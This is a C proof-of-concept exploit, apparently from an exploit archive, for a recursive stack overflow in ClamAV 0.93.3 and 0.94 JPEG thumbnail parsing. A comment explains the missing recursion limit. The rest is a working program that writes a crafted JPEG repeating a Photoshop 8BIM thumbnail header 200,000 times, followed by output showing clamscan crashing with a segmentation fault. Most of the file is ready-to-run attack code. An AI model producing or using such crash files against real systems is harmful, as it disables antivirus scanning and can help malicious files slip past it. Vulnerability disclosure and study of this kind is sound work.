90 lines
No EOL
2.8 KiB
C
90 lines
No EOL
2.8 KiB
C
/*
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There is a recursive stack overflow in clamav 0.93.3 and 0.94 (and probably
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older versions) in the jpeg parsing code.
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it scan's the jpeg file, and if there is a thumbnail, it'll scan that too. the
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thumbnail itself is just another jpeg
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file and the same jpeg scanning function gets called without checking any kind
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of recurising limit. this can easely
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lead to a recurisive stack overflow. the vulnerable code looks like:
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clamav-0.94\libclamav\special.c
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int cli_check_jpeg_exploit(int fd) <-- fd to jpeg file
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{
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...
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if ((retval=jpeg_check_photoshop(fd)) != 0) {
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return retval;
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}
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...
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}
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...
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static int jpeg_check_photoshop(int fd)
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{
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...
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retval = jpeg_check_photoshop_8bim(fd);
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...
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}
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...
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static int jpeg_check_photoshop_8bim(int fd)
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{
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...
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retval = cli_check_jpeg_exploit(fd); <-- calls cli_check_jpeg_exploit()
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again without any recursive checks !
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...
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}
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the exploit shown below triggers this recursive stack overflow by creating a
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fake jpg file. once created and passed on
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to clamav it'll go in a recursive stack loop untill clamav runs out of stack
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memory and causes a stack overflow. effectively
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crashing clamav. The exploit was tested on clamav 0.94 on opensolaris running
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in a vmware.
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exploit:
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*/
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const char crashstr[] = "\xff\xd8" // jpg marker
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"\xff\xed" // exif data
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"\x00\x02" // length
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"Photoshop 3.0\x00"
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"8BIM"
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"\x04\x0c" // thumbnail id
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"\x00"
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"\x01"
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"\x01\x01\x01\x01"
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"0123456789012345678912345678"; // skip over 28 bytes
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#include <stdio.h>
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#include <stdlib.h>
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#include <sys/types.h>
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#define NR_ITER 200000
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int main() {
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FILE *fp;
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int i;
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fp = fopen("clamav-jpeg-crash.jpg", "w+");
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if (!fp) {
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printf("can't open/create file\n");
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exit(0);
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}
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for (i = 0; i < NR_ITER; i++) {
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fwrite(crashstr, sizeof(crashstr)-1/*don't want 0-byte ?*/, 1,
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fp);
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}
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fclose(fp);
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printf("done, now run clamscan on ./clamav-jpeg-crash.jpg\n");
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exit(0);
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}
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/*
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result:
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ilja@opensolaris:~$ ./jpg
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done, now run clamscan on ./clamav-jpeg-crash.jpg
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ilja@opensolaris:~$ /usr/local/bin/clamscan ./clamav-jpeg-crash.jpg
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LibClamAV Warning: **************************************************
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LibClamAV Warning: *** The virus database is older than 7 days! ***
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LibClamAV Warning: *** Please update it as soon as possible. ***
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LibClamAV Warning: **************************************************
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Segmentation Fault <-- clamav crashed !
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ilja@opensolaris:~$
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*/
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// milw0rm.com [2008-12-03]
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